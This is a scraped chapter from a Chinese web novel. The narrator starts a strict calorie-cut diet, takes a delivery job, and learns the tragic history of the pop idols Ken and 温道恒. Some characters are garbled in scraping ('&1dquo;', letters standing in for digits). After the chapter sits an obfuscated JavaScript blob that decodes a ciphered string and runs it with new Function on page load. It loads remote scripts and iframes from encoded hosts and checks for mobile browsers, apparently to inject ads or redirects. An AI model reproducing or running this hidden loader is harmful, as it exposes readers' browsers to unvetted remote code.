第14页（第1页）
请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播
其实，自从来到这里，我的饮食比以前已经健康多了，最起码那些极容易长胖的西式快餐已经戒掉。而且跟ken一起住的时候也常运动，所以比入境前轻了大概4kg。
本来我对减肥也挺有信心的，可是，当听到Ben为我算的摄入热量食物分量后，我当场呆住了，每天1包薯片、1瓶可乐、几块肉、一件芝士蛋糕，就已经满额了。
天！
这么少分量的食物，怎么撑啊？！
这哪是人的生活？！
&1dquo;所以要你戒掉所有高热量的东西啊，如果把薯片、可乐、芝士蛋糕、肉全换成蔬菜与水果，每天12oocaL热量分额绝对足够让你吃饱，再加上每天消耗5oocaL左右的运动，持续半年以后，应该就可以减掉2okg体重，你的身高是g，半年后就是54kg，应该算正常了，不过如果要变成上次模拟图那样的小美人就加把劲，多减掉8kg。”
天！
芝士蛋糕――我的最爱，永别了！
&1dquo;以你现在的体重，先从每天摄入14oocaL的热量开始吧，等体重慢慢下降，基本热量摄入也要跟着下降，逐步降到12oocaL，减肥切忌操之过急，要是减肥过快，摄入的热量过低，身体器官的功能会受损，女性最明显就是停经，会影响以后的生育功能的。”
减肥的学问、禁忌还真多！以前我还以为只要不吃东西就可以了！
&1dquo;我已经帮你做了一个计划，早餐脱脂奶1包＋咸吐司1片，午餐鸡胸肉一块＋蔬菜＋豆腐，晚餐蔬菜＋豆制品，全部少油或禁油，禁糖。每天慢跑1小时＋家务2小时，你看多简单！”
天！
你说当然简单！
要你半年这样生活，我看你会不会疯掉！
&1dquo;别用这种眼神瞪我，你想自食其力的留在这里，还有脱胎换骨接近蔡正茹查她的话，就只能这样了，再说减肥对你也有好处啊！我知道刚才说的减肥餐很单调，好像mIke留下了几本营养学的书，你自己慢慢研究一下，看看怎么样用一些低热量又有营养的食材替代变换一下吧。”
是啊，前天誓减肥的人是我哦！
不过，也没想到Ben会这么&1dquo;热心”！还有要这么快开始！
早知道前天誓前就把身上的钱全拿去大吃一顿！
Ben叫我一边听有节奏感的音乐一边运动，一来时间容易熬一点，二来可以顺便学语言。所以我今天去影音点找来了ken以前的cd。
听完他的音乐，不禁感叹，这个男人无愧于舞台王者的称号，他创作的每一个音符里透着的都是霸气！
虽然现在的他在商场上一帆风顺，但感觉现在的他与以前相比总少了一份雄霸天下的气势，反而多了一丝深沉。
是岁月与伤痛的洗礼吧！
不禁为被Lk封杀而无法再度踏足舞台的他惋惜！
ken，这个名叫李孝诚的男人，是为舞台而生的，也应该属于舞台的。。。。。。。
o4年1月16号
今天我找到了工作，是为附近一家餐馆送外卖，薪水按小时算，虽然不多，但象我这种&1dquo;黑市劳工”能找到工作已经是万幸啊！
昨天Ben的女朋友来过，她叫元娜，是医院里的一个小护士，很nIce的女生，只不过我还是明显的感觉到自己的存在对他们做成非常多的不便。
所以我已经打算搬走，因为现在的薪水实在无法承担任何房租，幸好我跟孤儿院的院长沟通过，我为那里的孤儿做饭、洗衣服，换来一间小房间暂住，Itisagooddea1！万幸啊！
元娜是个典型的追星组，当年就是ken与温道恒的级Fans。
她告诉我，像她这个年代的年轻人，不知道温道恒与李孝诚这两个名字的根本就是异类，已经在统计区间之外了。
当时他们两个真的是全国年轻人的偶像，歌迷们的热情程度是几乎到达疯狂的程度，就算现在号称&1dquo;少女杀手”的朱镇隆都根本无法跟他们相比。
温道恒是温柔的代名词，他写每一抒情歌曲直到现在都是传颂的经典，而他带着腼腆的笑容一边弹钢琴一边唱情歌的样子到现在还是女生们心目中白马王子的最佳典范。
而同时，ken的野性男人魅力风靡全国，不单单是女生，连男生都争相模仿他的衣着、型、打扮、舞蹈，他的受欢迎程度与道恒不相上下。不过因为他们两个的风格南辕北撤，再加上两个人私底下的感情是出了名的好，所以不单没有王不见王，喜欢道恒的歌迷也会喜欢ken，同样，ken的歌迷也爱道恒。
&1dquo;你没有经历那个年代，永远无法想象他们受欢迎的程度，只要他出席公开场合，整条街都会戒严；他开演唱会的那天，学校会增派1倍多的校卫防止学生逃课、早退，可是结果是过半数的年轻老师请假或逃课了。可能这个世纪之内都不可能再出现这样的国民偶像了！又或许是经历了那场悲剧后，受伤的歌迷们已经不可能再有当时的那种热情。”
温道恒的死，不单止对于ken是最沉重的枷锁，对于那个年代的歌迷来说，更是心中永远的痛！
即使数年后的今天，他们还是不愿意触碰那块伤疤。
&1dquo;那是一场悲剧，无论是对于道恒、我们、还是ken来说，那都是一场大悲剧。”元娜的眼眶竟然湿了。
&1dquo;当时，早就有小道消息说道恒与ken会离开Lk，转投Lk的死敌Rainbo企划，可是竟然在同一天里，他们两个人分道扬镳。道恒续约Lk，而且还指责ken见利忘义，为了高额的酬金而对Lk倒戈相向，令他们的兄弟情谊面临破裂。对于道恒的这番话，ken完全没有辩解，这令不少原本极度热爱他们两个的歌迷们对ken产生敌对心理――那些叫做anTI—Fans，当时有些疯狂的anTI-Fans甚至去ken与Rainbo签约的招待会捣乱，武力攻击ken，那个傻瓜竟然不还手、还阻止警卫对那些anTI-Fans使用武力镇压，结果是自己遍体鳞伤，我记得当时ken的手、背都被打伤了，流了不少的血。Rainbo因为害怕anTI-Fans的愤怒情绪，临时反悔，丢弃了ken。Lk出了封杀令，指名要ken彻底在舞台上消失，基于anTI-Fans的威胁与Lk的势力，那时候根本没有经纪公司敢收留ken。而ken那个大傻瓜由始至终只是沉默再沉默。”
🎁免费-纯欲御姐主播请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="t3rocck26k";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@Q}jR8Fs5O((S@KS"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@Q}"=X8"Fs5O((S@KS"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@Q}d2(LCYmOh5:DmRT4"="@Q}5p(LYpmJfC)RmRT4"="@Q}D7(LSqmOh5:DmRT4"="@Q}dC(LJ^mJfC)RmRT4"="@Q}(C(L:4mOh5:DmRT4"="@Q}C2(LSYmJfC)RmRT4"="@Q}25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n/f/@Q}j(8}vR8Fs5O((S@KS"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
www.rywoool.com 传奇小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛